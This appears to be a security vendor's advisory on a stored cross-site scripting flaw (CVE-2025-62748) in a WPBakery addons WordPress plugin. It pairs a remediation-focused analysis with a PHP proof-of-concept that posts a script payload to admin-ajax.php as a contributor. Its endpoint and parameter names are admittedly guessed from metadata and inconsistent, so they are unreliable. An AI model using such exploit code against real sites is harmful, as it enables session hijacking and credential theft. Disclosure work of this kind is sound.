Atomic Edge analysis of CVE-2025-62748 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Web and WooCommerce Addons for WPBakery Builder WordPress plugin, version 1.5 and earlier. The vulnerability allows users with contributor-level permissions or higher to inject malicious scripts into site content. These scripts execute in the browsers of visitors viewing the compromised pages.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping, as indicated by the CWE-79 classification. The vulnerability description confirms a lack of proper neutralization for user-supplied input. Without access to the source code diff, this conclusion is based on the CWE mapping and the standard WordPress security failure pattern where unsanitized data is stored and later rendered without escaping.
Exploitation likely occurs through a frontend component or shortcode parameter provided by the plugin. An authenticated attacker with contributor privileges would craft a malicious payload containing JavaScript. They would submit this payload via a POST request to a plugin-specific AJAX handler or a form that creates or updates page content. A plausible endpoint is `/wp-admin/admin-ajax.php` with an action parameter related to the plugin slug, such as `vc_addons_by_bit14_save`. The payload would be placed in a vulnerable parameter, for example `title` or `content`.
Effective remediation requires implementing proper input validation and output escaping. The plugin developers must sanitize all user input on the server-side using functions like `sanitize_text_field()` or `wp_kses()`. They must also escape all dynamic content on output using functions like `esc_html()` or `wp_kses_post()`. A comprehensive fix would audit all data flow from user-controllable parameters to database storage and final page rendering.
Successful exploitation leads to stored XSS attacks. Injected scripts run with the privileges of the victim viewing the page. This can result in session hijacking, unauthorized actions performed on behalf of the victim, defacement of the site, or theft of sensitive information like cookies and login credentials. The CVSS vector indicates a scope change, meaning the impact can propagate beyond the vulnerable component to affect other parts of the user’s session.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62748 - Web and WooCommerce Addons for WPBakery Builder <= 1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
// CONFIGURATION
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Target WordPress site
$username = 'contributor_user'; // Attacker's username
$password = 'contributor_pass'; // Attacker's password
// PAYLOAD - Simple alert to demonstrate XSS. Real attacks would use more malicious scripts.
$malicious_payload = '<script>alert("Atomic Edge XSS Test - CVE-2025-62748");</script>';
// ASSUMPTIONS:
// 1. The plugin uses a WordPress AJAX handler vulnerable to stored XSS.
// 2. The AJAX action name is derived from the plugin slug 'vc-addons-by-bit14'.
// 3. A parameter named 'content' or similar accepts unsanitized input.
// 4. The attacker has valid contributor-level credentials.
function poc_curl_request($url, $post_data, $cookies = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only
if (!empty($cookies)) {
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
}
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// STEP 1: Simulate login to obtain session cookies.
// In a real scenario, you would programmatically log in via wp-login.php and capture cookies.
// This PoC assumes you have a valid session. Replace the placeholder.
$session_cookies = 'wordpress_logged_in_xxxx=...'; // Placeholder for actual session cookies.
// STEP 2: Craft exploit request to the assumed vulnerable AJAX endpoint.
$exploit_data = array(
'action' => 'vc_addons_by_bit14_save_content', // Inferred AJAX action name
'content' => $malicious_payload, // Injected payload into a vulnerable parameter
// Other required parameters like post_id or nonce would be needed in a real attack.
);
// STEP 3: Send the malicious request.
$response = poc_curl_request($target_url, $exploit_data, $session_cookies);
echo "Exploit request sent. Response snippet:n";
echo substr($response, 0, 500) . "nn";
// STEP 4: Note that successful exploitation requires the payload to be stored and later viewed.
echo "If vulnerable, the payload is stored. Visiting the affected page will execute the script.n";
?>
